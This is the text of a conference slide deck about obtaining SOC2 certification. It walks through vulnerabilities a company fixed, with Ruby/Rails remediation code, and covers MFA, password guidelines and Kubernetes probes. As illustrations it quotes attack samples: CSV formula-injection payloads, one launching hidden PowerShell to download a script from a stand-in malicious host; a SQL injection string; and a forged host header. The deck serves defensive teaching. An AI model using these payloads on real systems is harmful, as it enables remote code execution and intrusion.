row.update(row) { |key, value| @full_sanitizer.sanitize(value.to_s) }
end
In addition, it is highly recommended to
systematically encode user or database data
into an inert format for Web browsers
before sending them back to the user.
25. Vulnerabilities - CSV injection
An attacker could execute a formula using "=" at the beginning
of the input, instead of putting a real subject for an activity.
When the victim downloads the CSV file, the formula could be
executed.
OWASP – CSV Injection
CSV Injection, also known as Formula Injection, occurs when
web applications embed user-controlled input inside CSV
files without proper validation.
When a spreadsheet program such as Microsoft Excel is used
to open a CSV file, any cells starting with special characters,
such as '=' or '@,' will be interpreted by the software as a
formula.
=cmd|' /C calc'!'A1'
=cmd|'/c powershell.exe -w hidden $e=(New-Object
System.Net.WebClient).DownloadString("https://malicious.c
om/shell.ps1");
From Bishop Fox
Remote code execution
26. Vulnerabilities - CSV injection
In order to prevent this attack, ensure that user input cannot
start with the following characters.
● Equals to ('=')
● Plus ('+')
● Minus ('-')
● At ('@')
This would prevent the attacker from being able to send
commands that could execute on the victim's machine. One
must also escape special characters in the input to avoid
malicious input from being executed.
OWASP – CSV Injection
The fix
class CsvSafe < CSV
PARANOID_MSG = 'csv injection detected'
def initialize(data, options = {})
options[:converters] = [] if options[:converters].nil?
options[:converters] << lambda(&method(:sanitize_field))
@paranoid = if options.key?(:paranoid)
options = options.dup
options.delete(:paranoid)
else
false
end
super(data, options)
end
def <<(row)
super(sanitize_row(row))
end
end
27. Vulnerabilities - CSV injection
All export calls would be updated to use this sort of approach,
to ensure any malicious statement is caught and handled.
OWASP – CSV Injection
SPECIAL = %w[- = + @].freeze
def starts_with_special_character?(str)
return false if str.blank?
SPECIAL.include?(str[0])
end
def prefix(field)
encoded = field.encode(CSV::ConverterEncoding)
"'#{encoded}"
rescue StandardError
"'#{field}"
end
def prefix_if_necessary(field)
str = field.to_s
if starts_with_special_character?(str)
raise RuntimeError, "#{PARANOID_MSG}, …"
prefix(str)
else
field
end
end
The fix
def self.to_csv
invoices = Invoice.all
header = CsvSafe.generate_line(CSV_HEADERS)
body = all.without_deleted.map do |org|
CsvSafe.generate_line([
org.id,
"""#{org.billing_name}""",
"""#{org.billing_street_address}""",
invoices.find_by(organization_id: org.id).try(:date)
], paranoid: true)
end.map(&:html_safe)
([header] + body).join('')
end
29. Vulnerabilities - Email templates
OWASP – CSV Injection
When it’s possible for users to create messages and message
templates, you want to ensure you control (or at the very least
scrub) what goes out.
Links and javascript
30. Vulnerabilities - Email templates
OWASP – CSV Injection
class ActivityInstructionsScrubber < Rails::Html::PermitScrubber
ACCEPTABLE_ELEMENTS = %w[
strong em b i u p code pre tt samp kbd var sub sup dfn cite big small
address hr br div span h1 h2 h3 h4 …
].freeze
WHITELISTABLE_ELEMENTS = %w[a].freeze
# (i.e. those that do not need a close-tag to be useful)
PERSISTED_EMPTY_ELEMENTS = %w[hr br img].freeze
RESTRICTED_ATTRIBUTES = %w[width href].freeze
WHITELISTABLE_ATTRIBUTES = %w[href class].freeze
# These unallowed elements will be stripped, i.e. subtree will be kept
STRIP_RESTRICTED_ELEMENTS = %w[directive a body].freeze
WHITELISTABLE_RESTRICTED_ELEMENTS = %w[a].freeze
ALLOWED_CSS_PROPERTIES = %w[
text-decoration text-align text-decoration margin …
].freeze
attr_reader :remove_empty_elements, :enable_whitelisting, :css_properties
…
end
The fix
@scrub = ActivityInstructionsScrubber.new(
enable_whitelisting: … )
…
<%=
sanitize_email_text(
text_with_variables(scrubber: @scrub,
@body(locale),
@vars(locale))).html_safe
%>
…
32. Vulnerabilities - MFA
Authentication
Very important topic for SOC2 compliance as weak passwords
and human error is often the easiest way into a seemingly
“secure” system.
Adding a 2nd authentication factor is the simplest safeguard
against this.
● Email (insecure)
● SMS (less insecure … SIM swapping)
● Auth APP (very effective … most convenient)
● Hardware dongle (most effective … least convenient)
NIST - Password guidelines
Buy
Delegate to … Auth0 (ex.)
Build
Manage and maintain
devise-two-factor
two_factor_authentication
33. Vulnerabilities - passwords
Password guidelines (NIST)
● Password length: Minimum length is 8 characters
● Password complexity: recommends password
complexity not be imposed.
● Password “hints”/authentication questions: shouldn’t
be used.
● Check for “known bad” passwords: New and changed
passwords are to be checked against a list of common
or previously compromised passwords (e.g. from
dictionaries, previous breaches, keyboard patterns,
and contextual words [e.g. the user’s username]).
● Throttling: Implement throttling to limit failed
authentication attempts.
● Password expiration: shouldn’t be used
● MFA: SMS shouldn’t be used
NIST - Password guidelines
Requirements
Very auditor-dependant
34. Vulnerabilities - Improper access control
Where access control is not properly applied, tampering the
content of various HTTP requests of diverse application
endpoints can lead to unauthorized actions. This could also
lead to privilege escalation and unauthorized asset access and
modification.
The attacker only needs a browser and, in some cases, a local
proxy to perform such attack.
OWASP – Access Control
The affected application does not properly validate users’
privileges before performing various actions that should
otherwise be impossible or restricted. In some cases, no prior
authentication is necessary to access the application's
functionalities and users’ documents, leaving them
unprotected and exposed on the Internet.
Those vulnerabilities are the consequence of an inadequate
access control enforcement by the application.
In our case, some views required admin privileges but could
still be consulted in read-only mode by lower-privileged user
Privilege escalation
35. Vulnerabilities - Improper access control
This lead to a complete roles and permission revamp in order
to not only address this issue, but also introduce better
permissions management.
This was already on roadmap in order to better serve
enterprise customers.
The communication of this vulnerability accelerated that
development.
OWASP – Access Control
class UserPolicy < ApplicationPolicy
def manage_organization?
role_permission(:manage_…) == :enabled
end
def invite_users?
role_permission(:invite_users) == :enabled
end
def remove_users?
role_permission(:remove_users) == :enabled
end
class Scope < Scope
def resolve
…
end
end
end
The fix
36. Vulnerabilities - SQL injection
SQL injection is a web application vulnerability
that occurs when untrusted data is inserted in a
SQL query without any sanitization or escaping.
CVE-2012-2695
Invicti – SQL injection
SecureFlag - SQL injection
UNSAFE
Model.find_by(...)
SAFE
Model.find(...)
Model.find_by_name(...)
Dynamic Attributes
UNSAFE
Model.where("name = '#{params[:name]}'")
Input -> "') or 1=1--"
SELECT "users".* FROM "users" WHERE (name = '') or 1=1--')
SAFE
Model.where(name: param[:name])
Model.where(["name = ?", "#{params[:name]}"])
Model.where("name = :email", email: param[:name])
Protect against user input
38. Vulnerabilities - Host header injection
The ability to use an authentic application URL,
targeting the correct domain and with a valid
SSL certificate lends credibility to the phishing
attack because many users will not notice
the subsequent redirection to a different
domain.
OWASP – CSV Injection
X-Forwarded-Host: attack.malicious.com
The application appears to trust the user-supplied host header. By
supplying a malicious host header, it is possible to redirect to another site.
One common use-case: generating a poisoned password reset link.
39. Vulnerabilities - Host header injection
If the Host header is required, make sure you
validate it properly.
This should involve checking it against a
whitelist of permitted domains and rejecting or
redirecting any requests for unrecognized hosts.
This should include host: and x-forwarded-host
parameters.
OWASP – CSV Injection
# Hosts white list. All requests from other hosts will reject with 403
YAML.safe_load(Rails.root.join('config', 'hosts.yml').read)[Rails.env].split.each do |host|
config.hosts << host
end
development:
dev.lexop.com
staging:
stg.lexop.com
production:
app.lexop.com
subdomain.domain.com
Application initializer
Configuration file
The fix
41. Vulnerabilities - CSPs
The HTTP Content-Security-Policy response
header allows web site administrators to control
resources the user agent is allowed to load for a
given page.
This helps guard against cross-site scripting
attacks (Cross-site_scripting).
Mozilla - Content security Policy headers
Mozilla - unsafe inline handling
Application initializer
config.action_dispatch.default_headers = {
'Content-Security-Policy' =>
"default-src 'self' https://sub.lexop.com ...; "
"frame-src 'self' https://sub.lexop.com ... https://*.sandbox.com;"
"img-src 'self' data: https://sub.lexop.com https://www.google-analytics.com ...; "
"media-src 'none'; "
'form-action https://sub.lexop.com ...; '
"connect-src 'self' https://sub.lexop.com wss://stg.lexop.com ... https://connect.domain.com;"
"object-src 'self' 'sha256-B2yPHKaX…=' https://sub-api.lexop.com ...; "
"font-src 'self' 'nonce-2726c7f26c' https://sub.lexop.com ...; "
"script-src 'self' 'unsafe-inline' 'unsafe-eval' https://sub.lexop.com ... https://cdn.com; "
"style-src 'self' 'unsafe-inline' https://sub.lexop.com ... https://cnd.com; "
'report-uri https://sub.report-uri.com/r/d/csp/enforce; ',
…
}
unsafe-inline
Supports inline scripting … possible to mitigate
using nonces or hashes
unsafe-eval
Some legitimate 3rd-parties still use eval()
script-src 'nonce-2726c7f26c'
…
<script nonce="2726c7f26c">
const inline = 1;
// …
</script>
42. Vulnerabilities - CSPs
Mozilla - Content security Policy headers
Mozilla - unsafe inline handling
Application initializer
config.action_dispatch.default_headers = {
'Content-Security-Policy' =>
…
'Referrer-Policy' => 'strict-origin-when-cross-origin',
'Feature-Policy' => "geolocation 'self'; microphone 'self'; camera 'self' ",
'X-Content-Type-Options' => 'nosniff',
'X-Frame-Options' => 'SAMEORIGIN',
}
X-Content-type-Options
nosniff can protect against mime-confusion
attacks where you might upload an “image”
containing executable content leading to an XSS
attack
X-Frame-Options
SAMEORIGIN implies your site cannot be loaded
in a frame anywhere else, to mitigate UI
redressing attacks
Feature-Policy
Restrict browser access to the device resources
s.a. camera and microphone.
47. 47
Clusters and pods
▸ Multiple pods per logical group
▸ Memory allocation and limits
▸ Processing allocation and limits
▸ Liveness probe
▸ Readiness probe
Availability
After the transformation
Kubernetes - Components
48. 48
Kubernetes - Configuring probes
Availability
Liveness probe
The kubelet uses liveness probes to know when to
restart a container.
For example, liveness probes could catch a deadlock,
where an application is running, but unable to make
progress.
Restarting a container in such a state can help to
make the application more available despite bugs.
livenessProbe:
httpGet:
path: /health_check
port: 3000
httpHeaders:
- name: Host
value: subdomain.domain.com
initialDelaySeconds: 45
periodSeconds: 30
path: /health_check
This HTTP call to an internal resource call will determine if all
services are operational.
initialDelaySeconds: 45
This call will start 45 seconds after the pod is online.
periodSeconds: 30
This call will run every 30 seconds.
49. 49
Availability
Readiness probe
The kubelet uses readiness probes to know when a
container is ready to start accepting traffic.
A Pod is considered ready when all of its containers
are ready. One use of this signal is to control which
Pods are used as backends for Services.
When a Pod is not ready, it is removed from Service
load balancers.
readinessProbe:
httpGet:
path: /health_check
port: 3000
httpHeaders:
- name: Host
value: domain.subdomain.com
initialDelaySeconds: 25
periodSeconds: 10
successThreshold: 3
failureThreshold: 2
initialDelaySeconds: 25
This call will start 25 seconds after the pod is online.
periodSeconds: 10
This call will run every 10 seconds.
successThreshold: 3
Minimum consecutive times the probes will need to run to be
considered successful after a failure
Kubernetes - Configuring probes
50. DR and Continuity
50
▸ Database as a service
▹ Read-replicated and geo-redundant
▸ Self-healing infrastructure
▹ Less oversight needed
▸ Packaged into images (docker)
▹ Immutable
▹ Ephemeral (security)
▹ Easily re-deployable
51. Monitoring
51
Consider the different services
▸ NewRelic, DataDog, Cloud-native …
▸ Application monitoring
▸ Log aggregation and analysis
▹ Source multiplicity
▸ Infrastructure monitoring
▸ SLIs, SLOs and SLAs
Datadog - Track SLIs and SLOs
52. Why
Because …:
- Often a requirement
- Always an effective sales tool
- In hindsight, a useful thing to go through (go figure)
53. Thank you
Learn more at lexop.com
Lexop helps companies retain
past-due customers by facilitating
payment and empowering them
to self-cure.
It’s quick to implement, easy to use, and scales to
fit your needs.
Editor's Notes
Thank you for being here; I hope you’re all having a good time and that you’ll enjoy this presentation. Andy’s a very hard act to follow so bear with me :)
Today, I’m going to share my story of despair and madness: obtaining a SOC2 Type II certification. There’s always what you understand in hindsight and what you feel in the moment. And in the moment it was definitely not my favorite experience.
Let’s start with what this is.
Security
Availability
Process integrity
Confidentiality
privacy
Let’s start with what this is.
Security
Availability
Process integrity
Confidentiality
privacy
Let’s start with what this is.
Security
Availability
Process integrity
Confidentiality
privacy
Let’s start with what this is.
Security
Availability
Process integrity
Confidentiality
privacy
Let’s start with what this is.
Security
Availability
Process integrity
Confidentiality
privacy
Let’s start with what this is.
Security
Availability
Process integrity
Confidentiality
privacy
NEW SECTION, SHORT STATEMENT SLIDE EXAMPLE
NEW SECTION, SHORT STATEMENT SLIDE EXAMPLE
NORMAL SLIDE EXAMPLE
NORMAL SLIDE EXAMPLE
NORMAL SLIDE EXAMPLE
NORMAL SLIDE EXAMPLE
NEW SECTION, SHORT STATEMENT SLIDE EXAMPLE
https://github.com/Lexop/lexop/pull/691
https://github.com/Lexop/lexop/pull/691
NEW SECTION, SHORT STATEMENT SLIDE EXAMPLE
https://github.com/Lexop/lexop/pull/684/files
https://github.com/Lexop/lexop/pull/684/files
https://github.com/Lexop/lexop/pull/684/files
NEW SECTION, SHORT STATEMENT SLIDE EXAMPLE
https://github.com/Lexop/lexop/pull/684/files
https://github.com/Lexop/lexop/pull/684/files
NEW SECTION, SHORT STATEMENT SLIDE EXAMPLE
https://github.com/Lexop/lexop/pull/691
https://github.com/Lexop/lexop/pull/691
https://github.com/Lexop/lexop/pull/1861/files
NEW SECTION, SHORT STATEMENT SLIDE EXAMPLE
https://github.com/Lexop/lexop/pull/1861/files
https://github.com/Lexop/lexop/pull/1861/files
NEW SECTION, SHORT STATEMENT SLIDE EXAMPLE
https://github.com/Lexop/lexop/pull/1861/files
https://github.com/Lexop/lexop/pull/1861/files
NEW SECTION, SHORT STATEMENT SLIDE EXAMPLE
NEW SECTION, SHORT STATEMENT SLIDE EXAMPLE
NORMAL SLIDE EXAMPLE
NORMAL SLIDE EXAMPLE
Remove TWILIO and Sendgrid
NORMAL SLIDE EXAMPLE
NORMAL SLIDE EXAMPLE
NORMAL SLIDE EXAMPLE
NORMAL SLIDE EXAMPLE
THANK YOU SLIDE EXAMPLE
As before, try to quantify the quality of your team by showing impressive logos, educational degrees, or years of experience. If there are some particularly awesome accomplishments (e.g. I built out unicorn X’s growth team), call it out. Remove anything else - yes, this means leaving off the headshots for every employee in your 12 person team.
If you’ve been lean (e.g. accomplished everything with only a team of 4) or capital efficient (e.g spent $1m to get to $1.2m ARR), this is a good place to highlight it. You can also optionally add a slide with your advisors (if they’re impressive and especially if your company requires domain expertise) and existing investors. Just beware of signaling risk - if you include a Series A fund on the list of existing investors, you’ll be asked whether or not they’re leading your round. If the answer is yes, then why are you giving the pitch? If the answer is no or that you’re not sure, that could be a negative signal. In general, best to leave those logos off.